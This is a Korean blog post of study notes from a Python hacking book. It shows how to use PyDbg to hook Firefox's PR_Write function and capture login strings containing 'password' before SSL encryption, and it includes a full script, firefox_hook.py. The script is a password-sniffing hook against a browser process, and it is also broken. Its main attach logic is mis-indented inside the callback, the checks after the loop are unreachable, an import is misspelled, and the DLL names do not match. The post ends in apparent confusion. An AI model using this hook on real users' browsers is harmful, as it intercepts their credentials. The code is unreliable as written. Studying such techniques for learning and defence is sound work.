본문 바로가기
파이썬 스터디 과제/파이썬 해킹 프로그래밍

6장-후킹-1(PyDbg를 이용한 소프트 후킹)

by laoching 2015. 1. 26.
728x90
반응형

애플리케이션 계층에서 암호화된 트래픽을 스니핑 하는 것이 첫 번째다.

이 책은 파이어폭스를 이용한다.

firefox.exe 프로세스가 데이터를 암호화해 서버에 전송하기 전에 데이터를 스니핑해볼 것이다.

파이어폭스가 쓰는 암호화 형태는 SSL 이다.

nspr4.dll의 익스포트 함수인 PR_Write 함수에 후킹을 설정한다.

이 함수가 호출되면 [ESP+8]을 통해 암호화되기 전의 아스키 문자열에 대한 포인터를 얻을 수 있다

ESP 레지스터로부터 오프셋+8 위치라는 것은 아스키 문자열이 PR_Write 함수에 두 번째 파라미터로 전달된다는 의미다.

파이어폭스를 열고 http://www.openrce.org 사이트로 이동한다.

firefox.exe에 immunity 디버거를 붙이고 nspr4.PR_Write에 브레이크포인트를 설정한다.

OpenRCE 웹사이트에 test / test 로 입력후 로그인 버튼은 누르면 브레이크포인트가 발생할 것이다.

사용자 이름과 비밀번호 문자열을 볼 수 있다.

이젠 이걸 자동으로 할 수 있게 만들어 보자.

PyDbg로 소프트 후킹을 정의하려면 먼저 모든 후킹 객체를 담을 수 있는 후킹 컨테이너를 정의해야 한다.

위와 같은 명령으로 후킹 컨테이너를 초기화 한다.

후킹을 정의하고 그것을 후킹 컨테이너에 추가하려면 hook_container 클래스의 add() 함수를 이용한다.

프로토 타입

첫 번째 파라미터는 pydbg 객체이고

두 번째 파라미터인 address 는 후킹을 설정할 주소를 의미한다.

num_arguments는 후킹을 수행할 대상 함수의 파라미터 개수를 의미한다.

func_entry_hook 함수와 func_exit_hook 함수는 후킹대상 함수가 실행될 때와 종료될 때 호출되는 콜백 함수다.

func_entry_hook 함수를 통해 후킹 대상에 어떤 파라미터가 전달되는지 확인할 수 있고 func_exit_hook 함수를 통해서는 해당 함수의 리턴 값이 무엇인지 확인 할 수 있다.


entry 콜백함수의 프로토 타입

dbg 파라미터는 후킹을 설정할 때 사용된 pydbg 객체이며 args 파라미터는 후킹 대상 함수에 전달되는 파라미터리스트를 나타낸다.

exit 콜백 함수의 프로토타입은 entry 콜백 함수의 프로토타입과 약간 다르다.

즉, 후킹 대상 함수의 리턴 값을 나타내는 ret 파라미터 하나가 더 있다.

firefox_hook.py를 작성하자

----------------------------------------------------------------------

from pydbg import *
from pydbg.defindes import *

import utils
import sys

dbg             = pydbg()
found_firefox     = False

pattern            = "password"

def ssl_sniff(dbg,args):
    buffer = ""
    offset = 0

    while 1:
        byte = dbg.read_process_memory(args[1] + offset, 1)

        if byte != "\x00":
            buffer += byte
            offset += 1
            continue

        else :
            break

        if pattern in buffer :
            print "pre-encrypted : %s" %buffer

        return DBG_CONTINUE

    for(pid, name) in dbg.enumerate_processes():
        if name.lower()     == "firefox.exe":
            found_firefox     = True
            hooks             = utils.hook_container()           

            dbg.attach(pid)
            print "[*] attaching to firefor.exe with PID : %d" %pid

            hook_address = dbg.func_resolve_debuggee("nss3.dll", "PR_Write")

            if hook_address:
                hooks.add(dbg, hook_address,2,ssl_sniff,None)

                print "[*] nspr4.PR_Write hooked at : 0x%08x" % hook_address
                break
            else :
                print "[*] Error : Couldn't resolve hook address"
                sys.exit(-1)

    if found_firefox:
        print "[*] hooks set, continuing process"
        dbg.run()
    else :
        print "[*] Error : Couldn't find the firefox.exe process"

        sys.exit(-1)

----------------------------------------------------------------------

파이어폭스를 실행하고 커맨드라인에서 firefox_hook.py를 실행하고

www.openrce.org를 방문해 로그인을 수행하면 된다.

..??

728x90
반응형

댓글